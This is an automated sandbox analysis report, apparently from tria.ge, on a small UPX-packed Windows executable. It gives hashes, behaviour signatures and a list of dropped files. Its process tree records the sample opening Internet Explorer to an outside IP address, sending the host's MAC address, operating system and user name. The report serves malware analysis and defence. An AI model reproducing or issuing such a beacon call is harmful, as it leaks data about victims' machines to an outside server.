Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    73s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2024, 02:04

General

  • Target

    37ec7faddc4632a4b0048eaaaf249942_JaffaCakes118.exe

  • Size

    38KB

  • MD5

    37ec7faddc4632a4b0048eaaaf249942

  • SHA1

    e5f2c09f645aa79e46e353019d7e9cee8f3a88ef

  • SHA256

    0ab2fc6fbd11131e49f691636897d96f0c8bb258468cbba4eee0bbc763bcbc5c

  • SHA512

    a02daa33c4f09d3643c43d06e573f8b5df44fef9178490b8d570884d360f6e396e4d2deaf91775fa7dc9461d4737e478cadf5ee535ab03614961b04e927aafe7

  • SSDEEP

    768:ZYNpHbK4UUmY6sr8GURsPh5/KH703mM9k0SXJ25k/PL2mmpLZkPsu:Zip9UUAsfI4h5/Kb0r9Q05ij4LaZ

Score
5/10

Malware Config

Signatures

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 38 IoCs
  • Modifies registry class 11 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\37ec7faddc4632a4b0048eaaaf249942_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\37ec7faddc4632a4b0048eaaaf249942_JaffaCakes118.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Modifies registry class
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=4e-66-a3-e0-fb-f8&os=Microsoft Windows XP&flag=bfdaaca0386dbfff44e4109d706b5f8b&user=37ec7faddc4632a4b0048eaaaf249942_JaffaCakes118
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1920 CREDAT:275457 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    ce645ff043527d7b505d9538f2374ca9

    SHA1

    244eca5c6d5df7ec81db7031d242ed2cfc761736

    SHA256

    dd19fb7892a7e681c7171629d814466c678368e0e123362d03070c3d877f3e88

    SHA512

    77cc35b2907046722c3c38fc00e21a7efeb50bdc18b2a28dad2fd424218b66d9bdb46a54eb685034240786c52aecafe974fabe0da7a11feb60861f1936842e45

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    cd571cfc45b33625afc0d29230bb1835

    SHA1

    fe393dc1d617bf1025c38a2a3352b64c78c2a7d1

    SHA256

    7896406ab7ed19369297f7a9e85aa3e07d9a9a70657d0bdc6bb085d7463acff6

    SHA512

    62b937a63d4d7c4c7a54c87792c260eaf22dd9d744ebf2686f4c2be9db8079bbd10f50512110ca791bd0a0ecce4c15f426af95c9421ceb7d4741b74556531c28

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    55bee8100e5b6a2367d2bea5fb3666e5

    SHA1

    516683e848d67067184ecd8024ccb0c5519f57f9

    SHA256

    856f9d9c215734f0abf2af2f358ae60439c5256a6b14ed2c84e9804b3ff4e003

    SHA512

    f30923ba29681d7b71e5699637679e66e901699dc2061c87ec6c063bdafbc0c8f5b726f3db574771a411c08b933840402dd309d48f7f4b158f856b0378e5e3e3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    e52bcea894dc6039edabe09477bb7767

    SHA1

    a2ea90fc38b234839ddcf19f6c7499393c1c3a9d

    SHA256

    62b0e23eea210c55114d2efe29c380d2e0268f44cd6c864700b7668fe5cf5558

    SHA512

    8c8606e0cc4a69a01833bfb2b390cedd98efa031522d03a2ba3f0c7449b0e1ad0f0792c024f5be91cbf9519f72ae92945b167270cd4b75a4c3ff68642f7b1d09

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    c31485730b3b9cee799d11de4a6e11b9

    SHA1

    94083439f5ca66a040f8e8e863a24c6ca319dd3a

    SHA256

    5eddeb66e017a17886438e5d859c6ecea6100b77052ff9fa242cfba77e1716a6

    SHA512

    13e4df2a0a3a2d629c85796e01587b4eba82afa8369dd623c4f2338db8d6fd6458238e1cfad814a90bc1b14693523005418bee87f3bcb1eed5eb5fd8854af596

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    ed617fd3c102a274cfdf02ea29bfc26c

    SHA1

    f2817d821b7b7bf8ff0cd9134dede9975501bc8e

    SHA256

    f3fa4f4698241c3be880adfad0ca75005c9e2ac7a4d5c28348fed4e16a534c47

    SHA512

    8d11f5a02e6e6ad9c4990212e56c269f89aa9a6d1dfc49658be83bc4cabe5b7da34da0ac74ad2917fc908b9791dd0c9ec2ebbf35f4de12aa89f68bdcfc70aa79

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    4948a85fe70184c5a190ca0c16722214

    SHA1

    fd1a7d064179e377dd4e15a62729dd9413fa9d34

    SHA256

    a3a92ee7586b03902ffbdab3108dc348eb35d3c2fcbd07c032b794c9b7fb378b

    SHA512

    11995ba0f466c2444ec34416c8d29d72581bf889a3a41b106a7fa4a5c0fa13f89396501fdc2be80b0aeb22836addc05173f43f6da92b804085316cd133bc1694

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    9fc425ebb2fe8ab57ae1818ace94ced7

    SHA1

    a06aa527fc09b4e4f65795004fb0d125224c290e

    SHA256

    09a81d881d2cabc2a86e9f3b808594dfdfa2ab293c73f40409deb05e8f826efc

    SHA512

    1c2b0fbba87a37e078b159386a1aa5f55e003a52709fbc452e3412d3b0eb234051227a998294cae96cbe339e55b4ca0b0b6cba0d32ea6b1a42741200d864920c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    8b4be0233a4143d32b1039f2f282467b

    SHA1

    48583854f9dbf176668c2348f24e1fa9deea631a

    SHA256

    00f3a8df1905e548c9531f49f76b1aa58a4da1fd4e6c6a75518f62b3f8bb1bd7

    SHA512

    619ec8f71e278359a8d6070260c41ff04b5b59c06532c566c451a8373b3d1a6a54296ee2b949445af1fbdb3bf174465bd63655e8b8b0a5e47ae29cab8185a766

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    447dbc6b9f81c26330cde02ee9997ece

    SHA1

    7ee37c9248ad2223258aac27297ec09896fe4cb0

    SHA256

    1dd286c30a2b8b1c144042159fa30147bcfc8614c2e09998dfe267a42ec89f7a

    SHA512

    3dde3d25f7692f542444391e66b20a98a0db13ee576e1dae54c8d7d3f42a1f18b4d3c27087df4263d0fdd4593e847c7bf3f1d07392695515b9ed884a1c889491

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    e54edbf3724a90722ea34cd21e055ac3

    SHA1

    afa38295c9d257a4545f66ff7cefe894be0d4a57

    SHA256

    fa58738d5817099f3899f91e3221fe8a14d3f62379f7ec2042e3b8948a443937

    SHA512

    584b30142d8eeeeb14b69fa80e0439674aef267885ade4333b9ed1f3bcd311860c59ee1764fa1e8d83ad81b7081dc7c39fa7ee32aae30ec11c81bdc2ed66533b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    802e7d16649002dfca8d2102e3a5633f

    SHA1

    d8b8e2ec0b280e9f0d2de16cbebbaea8ab8ae9dc

    SHA256

    b8e33de7161780e016d8293b33f871d53ee205c8b5af2f62b09b44e6dd8439ad

    SHA512

    57150bf9a0c129ab8e8824cf4132fbffe14d02ed74d294402f9572d95cf651e4d8f4313287805d1580337f28daaabbb52f2eb6bc3332455d4ee311d48a81b66c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    fce5c15c3ef5aaf957abb9ce414ea9f0

    SHA1

    c5bbb1778fa8cc1c27eb6b951ce214d52b8bc942

    SHA256

    ec2b6fc10a2c772ccdf7fb06c9d75d1a8219c1ea65c0890869c5a984dab812da

    SHA512

    da37b13feae98e0e978b0175dc63dc1dd92a07d707f3c19366f2ac4461de4feb0ba72e30f55132af5fbd2971861bd1b574f889f607fa048fa9ff5c3a866a54f8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    126b03393eb3d6b5eebf44d8f67d2c6e

    SHA1

    0c17df462824019bfbdcfdd64fcf0e6e417c56f7

    SHA256

    067336e2dff239f682a559cf1e507dfedc5a231d7074a8f41bf1aaeffd55e422

    SHA512

    61af1794b2bbe63c70dd686e1b976025161229d19006b47b8576d79ecae65eae9b4a44afbcb9e2d69bbd6d657be6b55a757f66d215fa424d3ba2808b5e452c49

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    06f5f4072a16de8492648de65a6b96d0

    SHA1

    5ee1087c5d25a31004f6bf2b479917ad0d868b33

    SHA256

    1ec35897173988355473ee4819823c3998d76f9c22850f479078b938b174af2c

    SHA512

    939c0d700cb178cdad114d1810b2a1dd28eeacfafb1414246da5d0669f6c0b3781ab05bc2a9b78e106d634ccc7186661b3637e0d7d2cf1a0c5180f3085b33777

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    40f5c5eebaecbccf4df12d09992e5cab

    SHA1

    a82af5de016c73acf7725787248290d8083e0b24

    SHA256

    ebdb92bb63b717a51fd252e6ec9341af9917eb664c7b4feb37be4fb76a338ec9

    SHA512

    f23faf0fa662915809218178f7476b81615cd6f52c51872404cc3fb78eb3242ce7297d9d931c8070a58d79c0fcce543594af646914d7ac01098450c4eb498a3c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    8a790fa6a9a8491263e380f3c388cdec

    SHA1

    a6439e9ee4562ebde8ca698f302449074723e730

    SHA256

    66b136ec2352c6008fd530166c5a342ebe92e32c3f199058c87062bdf8907604

    SHA512

    23b23ff86b7a1e00fe1a5d67f12e8d04e53a01f78a1f8d17216b77d5c8cb5c2d1c4a56d04c40013479e5e5212577bc9c550d9d1a0aad2ac63105a34faa12bd96

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    0b37994edc97e1d25c13906f1d90bf26

    SHA1

    7fe545a775fcb9805c58af4e8af42bb97f8745ae

    SHA256

    c2c07efab52b83d3fd9eadb097baaf3f35f709d438a896b34ff195815e8ffb99

    SHA512

    cc4bc1ce9446dc63e5f0066c289c5bba9f2ae6ac8753f72d99a80b4823424162731554850409095cdf116b91906e3263df609b0439a87b0731dc35fcb70dc01e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    979b1ddd6b5317e0b7036c22d2f5d091

    SHA1

    ba78ea1dcf934c3e0862210e30d53a8319af7828

    SHA256

    db6850ab9ba407d04f2fdcace7591f1146f3183a87e3c5bc966fe38087147d7e

    SHA512

    3e82c94abcd621cc24548098b5e1e32dff20b82482e78e82bfccb0f2f6b899211315c44d8f2e8c14761244c6f01a4d2ca12b01086eec4589361ff536e091942e

  • C:\Users\Admin\AppData\Local\Temp\CabFE01.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarFEA0.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.fon

    Filesize

    3KB

    MD5

    ca0294359fd9a7a27616a18c22dbd68a

    SHA1

    12aa0ef1265d0bfe5b3dd60f8aa8b71708f34104

    SHA256

    af5fc76f77e480486e0592397a6a3d22fa750eef1d20e4d5fe54937879096286

    SHA512

    8b5e93b96e3ef5da76db8f0b3bc841151fe868e71ba37cb17a3b4aea7945118983b18988e53d8b498c9a539ad982e1e9b41b5c4117d223246bc44119a8475621

  • C:\b.txt

    Filesize

    261B

    MD5

    c6140fc6cd1250bd67a4a22d7c74ec54

    SHA1

    d8371058038d78bd6d5dd8c13bafa21d236cf3e7

    SHA256

    a18fe5781913c54cf547f8bed109aa7de0961189bc7ee91e0a1851b6ca9d0610

    SHA512

    aa50040890a99db0d083674297f19c23f083934bbcc4eb30ee1ec358aa4418e2b017d2bd4314e9ed9d115e710637c82899915897118bc47c1e4edac8858cd3f7

  • C:\b.txt

    Filesize

    271B

    MD5

    e5c8bb1ba6bc6de3d4ddac2f0bf47e7d

    SHA1

    70900371edfcdcb01b063e731e56d129369c64a8

    SHA256

    334812944df9a9938b114b7ec02177c4bdb6cbb8dd362ea43d119a37feb2062f

    SHA512

    c3635728cb6e5327276220b57bab8c6068b50130250f8151c06134f17e143067feb04e2f47cecf6fca0d6c046325012492c67d3837ea3e57a516e0b7c4408769

  • C:\b.txt

    Filesize

    263B

    MD5

    843a49a0da71bb7f1382f9544c5a1880

    SHA1

    63368a19dc95b6c8710cf5d94fbfa95641730ddc

    SHA256

    2eb356edc71d9716e755b32ff74b44268327d9e564e9b255625f7ba0028a0668

    SHA512

    7ce0334fdf72612953a4baebd80daf168f3f6f35a66c44d99595a53e1f5f0789782e94b4d56f0980072c7ff4134dc7e071f95d13c7788bcdd081b2d8272493bf

  • memory/2368-0-0x0000000000400000-0x0000000000421000-memory.dmp

    Filesize

    132KB

  • memory/2368-78-0x0000000000400000-0x0000000000421000-memory.dmp

    Filesize

    132KB